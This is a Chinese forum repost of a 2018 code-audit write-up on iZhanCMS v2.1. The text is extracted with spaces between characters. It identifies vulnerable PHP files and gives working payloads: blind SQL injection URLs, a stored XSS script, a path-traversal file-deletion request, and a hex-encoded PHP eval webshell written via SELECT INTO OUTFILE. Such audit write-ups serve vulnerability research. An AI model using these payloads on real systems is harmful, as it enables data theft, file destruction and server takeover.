搜索

[843] 2018-03-01_【代码审计】iZhanCMS_v2.1漏洞分析

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2018-03-01_【代码审计】iZhanCMS_v2.1漏洞分析 0 1 0 2 0 3 【 代 码 审 计 】 i Z h a n C M S _ v 2 . 1   漏 洞 分 析 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 3 - 0 1 前 言 前 言         爱 站 C M S 是 一 款 开 源 免 费 的 C M S 内 容 管 理 系 统 ， 具 有 开 放 灵 活 ， 安 全 高 效 ， 简 洁 美 观 ！ 本 次 针 对 i Z h a n C M S _ v 2 . 1 版 本 进 行 代 码 审 计 ， 发 现 代 码 中 存 在 的 安 全 漏 洞 。 环 境 搭 建 环 境 搭 建 i Z h a n C M S 官 网 ： h t t p : / / w w w . i z h a n c m s . c o m 网 站 源 码 版 本 ： 爱 站 C M S （ z e n d 6 . 0 ）   V 2 . 1 程 序 源 码 下 载 ： h t t p : / / w w w . i z h a n c m s . c o m / c a t e g o r y / C a t e g o r y / i n d e x / c i d / 1 默 认 后 台 地 址 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n / a d m i n / i n d e x 默 认 账 号 密 码 ： a d m i n   密 码 自 设 至 少 六 位 前 台 前 台 S Q L 注 入 漏 洞 一 注 入 漏 洞 一
0 4 代 码 分 析 ： 代 码 分 析 ： 漏 洞 文 件 位 置 :   / a p p l i c a t i o n / i n d e x / c o n t r o l l e r s / I n d e x C o n t r o l l e r . p h p   第 8 9 - 1 0 2 行 ： 这 段 函 数 中 将 获 取 到 的 参 数 i d ， 没 有 单 引 号 保 护 ， 拼 接 到 S Q L 语 句 中 然 后 带 入 数 据 库 执 行 ， 导 致 程 序 在 实 现 上 存 在 S Q L 注 入 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 获 取 数 据 库 敏 感 信 息 。 漏 洞 利 用 ： 漏 洞 利 用 ： 根 据 漏 洞 位 置 ， 构 造 出 时 间 盲 注 的 P a y l o a d ： h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x / i n d e x / q r c o d e P r e v i e w ? i d = 2 / * * / x o r / * * / i f ( s u b s t r i n g ( u s e r ( ) , 1 , 1 ) = ' 2 ' , s l e e p ( 5 ) , 0 ) - - 可 直 接 使 用 S Q L M A P 获 取 数 据 库 数 据 ： 前 台 前 台 S Q L 注 入 漏 洞 二 注 入 漏 洞 二
0 5 代 码 分 析 ： 代 码 分 析 ： 漏 洞 文 件 位 置 ： / a p p l i c a t i o n / g o o d s / c o n t r o l l e r s / G o o d s C o n t r o l l e r . p h p   第 6 8 - 9 6 行 这 段 函 数 中 将 获 取 到 的 参 数 i d ， 带 入 到 g e t L i n k g o o d s i d 函 数 中 查 询 ， 注 意 看 第 三 个 圈 住 的 地 方 ， 参 数 i d 拼 接 到 S Q L 语 句 中 ， 然 后 带 入 数 据 库 执 行 ， 这 个 地 方 就 存 在 S Q L 注 入 。 我 们 再 来 跟 进 g e t L i n k g o o d s i d 函 数 看 一 下 ： 漏 洞 文 件 位 置 ： / a p p l i c a t i o n / g o o d s / m o d e l s / G o o d s M o d e l . p h p   第 9 1 - 1 0 9 行 ： 在 这 段 函 数 中 将 获 取 到 的 参 数 i d ， 同 样 拼 接 到 S Q L 语 句 中 ， 然 后 带 入 数 据 库 执 行 。 综 上 ， 参 数 综 上 ， 参 数 i d 在 这 里 有 两 处 在 这 里 有 两 处 S Q L 语 句 拼 接 ， 导 致 程 序 在 实 现 上 存 在 语 句 拼 接 ， 导 致 程 序 在 实 现 上 存 在 S Q L 注 入 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 ， 获 取 数 据 库 敏 感 信 注 入 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 ， 获 取 数 据 库 敏 感 信 息 。 息 。 漏 洞 利 用 ： 漏 洞 利 用 ： 根 据 漏 洞 位 置 ， 构 造 出 时 间 盲 注 的 P a y l o a d ： h t t p : / / 1 2 7 . 0 . 0 . 1 / g o o d s / G o o d s / i n f o ? i d = 2   x o r   i f ( ' 2 ' = ' 2 ' , s l e e p ( 5 ) , 0 ) - - 可 直 接 使 用 S Q L M A P 来 跑 ： 前 台 存 储 型 前 台 存 储 型 X S S
0 6 太 简 单 ， 代 码 分 析 就 略 过 。 漏 洞 利 用 ： 漏 洞 利 用 ： 网 站 前 台 - - 意 见 和 建 议 - - 留 言 人 — 提 交 P a y l o a d : 2 2 2 < s c r i p t > a l e r t ( / x s s / ) < / s c r i p t > 当 管 理 员 在 后 台 查 看 留 言 信 息 时 ， 会 触 发 j s 脚 本 代 码 。 后 台 多 处 后 台 多 处 S Q L 注 入 漏 洞 注 入 漏 洞 代 码 分 析 ： 代 码 分 析 ： 漏 洞 文 件 位 置 一 ： / a d m i n / a p p l i c a t i o n / e x t e n s i o n s / c o n t r o l l e r s / Q r c o d e C o n t r o l l e r . p h p   第 2 3 5 - 2 4 6 行 ： 这 段 函 数 中 将 获 取 到 的 参 数 i d ， 拼 接 到 S Q L 语 句 中 ， 然 后 带 入 数 据 库 执 行 ， 这 个 地 方 就 存 在 S Q L 注 入 。 漏 洞 文 件 位 置 二 ： / a d m i n / a p p l i c a t i o n / w e b s e t / c o n t r o l l e r s / M a n a g e l o g C o n t r o l l e r . p h p  
漏 洞 文 件 位 置 二 ： / a d m i n / a p p l i c a t i o n / w e b s e t / c o n t r o l l e r s / M a n a g e l o g C o n t r o l l e r . p h p   第 3 3 - 5 7 行 ： 漏 洞 文 件 位 置 三 ： / a d m i n / a p p l i c a t i o n / w e b s e t / c o n t r o l l e r s / A d m i n u s e r C o n t r o l l e r . p h p 第 3 7 - 6 9 行 ： 在 这 段 函 数 中 将 获 取 到 的 参 数 k e y w o r d ， 未 经 任 何 过 滤 ， 同 样 拼 接 到 S Q L 语 句 中 ， 然 后 带 入 数 据 库 执 行 ， 导 致 程 序 在 实 现 上 存 在 S Q L 注 入 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 获 取 数 据 库 敏 感 信 息 。 基 本 后 台 所 有 的 搜 索 框 都 存 在 类 似 的 情 况 。 漏 洞 利 用 ： 漏 洞 利 用 ： 漏 洞 位 置 一   P a y l o a d ： h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n / e x t e n s i o n s / q r c o d e / p r e v i e w ? i d = 2 可 直 接 使 用 S Q L M A P 来 跑 ： 位 置 二 ： 登 录 后 台 - - 系 统 设 置 - - 日 志 管 理 - - 搜 索 - - k e y w o r d 位 置 三 ： 登 录 后 台 - - 权 限 设 置 - - 系 统 管 理 员 - - 搜 索 - - k e y w o r d 后 台 搜 索 框 几 乎 都 存 在 一 样 的 问 题 ， 不 一 一 去 验 证 了 。
0 7 后 台 任 意 文 件 删 除 漏 洞 后 台 任 意 文 件 删 除 漏 洞
0 8 代 码 分 析 代 码 分 析 ： 漏 洞 文 件 位 置 ： / a d m i n / a p p l i c a t i o n / w e b s e t / c o n t r o l l e r s / D b r e c o v e r C o n t r o l l e r . p h p   跟 进 d e l e t e T a b l e 函 数 ： 漏 洞 文 件 位 置 ： / a d m i n / a p p l i c a t i o n / w e b s e t / m o d e l s / T a b l e M o d e l . p h p   在 这 段 函 数 中 ， 获 取 到 $ s a v e _ p a t h ， 进 行 处 理 ， 然 后 直 接 将 $ f i l e n _ p a t h 带 入 删 除 函 数 中 执 行 ， 导 致 程 序 在 实 现 上 存 在 任 意 文 件 删 除 漏 洞 ， 攻 击 者 可 通 过 该 漏 洞 删 除 任 意 文 件 。 漏 洞 利 用 ： 漏 洞 利 用 ： 在 根 目 录 新 建 t e s t . t x t ， 作 为 漏 洞 测 试 文 件 登 录 后 台 ， 提 交 P a y l o a d ， 删 除 根 目 录 下 的 t e s t . t x t   文 件 P a y l o a d : h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n / w e b s e t / d b r e c o v e r / d e l e t e ? t b n a m e = . . / . . / . . / t e s t . t x t 后 台 后 台 G e t s h e l l
方 式 一 ： 修 改 标 签 文 件 方 式 一 ： 修 改 标 签 文 件 登 录 后 台 - - 模 板 管 理 - - 标 签 管 理 - - 标 签 列 表 - - 修 改 t a g . l i b . p h p ： P a y l o a d : p h p i n f o ( ) ; 访 问   h t t p : / / 1 2 7 . 0 . 0 . 1 / l i b r a r y / m a i n o n e / t a g l i b / t a g s . l i b . p h p   成 功 触 发 代 码 执 行 漏 洞 。 方 式 二 ： 利 用 方 式 二 ： 利 用 S Q L 语 句 写 入 语 句 写 入 w e b s h e l l 登 录 后 台 — 系 统 设 置 — 数 据 库 操 作 — S Q L 语 句 — 执 行 S Q L 语 句 。 问 题 ： 输 入 的 字 符 会 进 行 h t m l 实 体 编 码 ， 因 此 使 用 传 统 的 i n t o   o u t f i l e 语 句 无 法 成 功 写 入 文 件 s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ; ? > '   i n t o   o u t f i l e   ' c : / w w w / 2 2 2 a a a . p h p '     写 入 失 败 将 一 句 话 转 化 为 H e x 编 码 ， 构 造 P y a l o a d 如 下 ： S E L E C T     1 1 1 2 2 2   I N T O   O U T F I L E   ' E : / s t u d y / W W W / i Z h a n C M S / 2 2 2 2 . p h p '     L I N E S T E R M I N A T E D   B Y     0 x 3 C 3 F 7 0 6 8 7 0 2 0 4 0 6 5 7 6 6 1 6 C 2 8 2 4 5 F 5 0 4 F 5 3 5 4 5 B 2 7 6 1 2 7 5 D 2 9 3 B 3 F 3 E   –
0 9 成 功 写 入 w e b s h e l l ， 控 制 网 站 服 务 器 总 结 总 结         这 是 一 次 黑 盒 结 合 白 盒 的 漏 洞 挖 掘 案 例 ， 相 对 会 全 面 一 点 ， 有 对 这 方 面 有 研 究 的 童 鞋 ， 欢 迎 来 相 互 探 讨 ， 交 流 。 B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理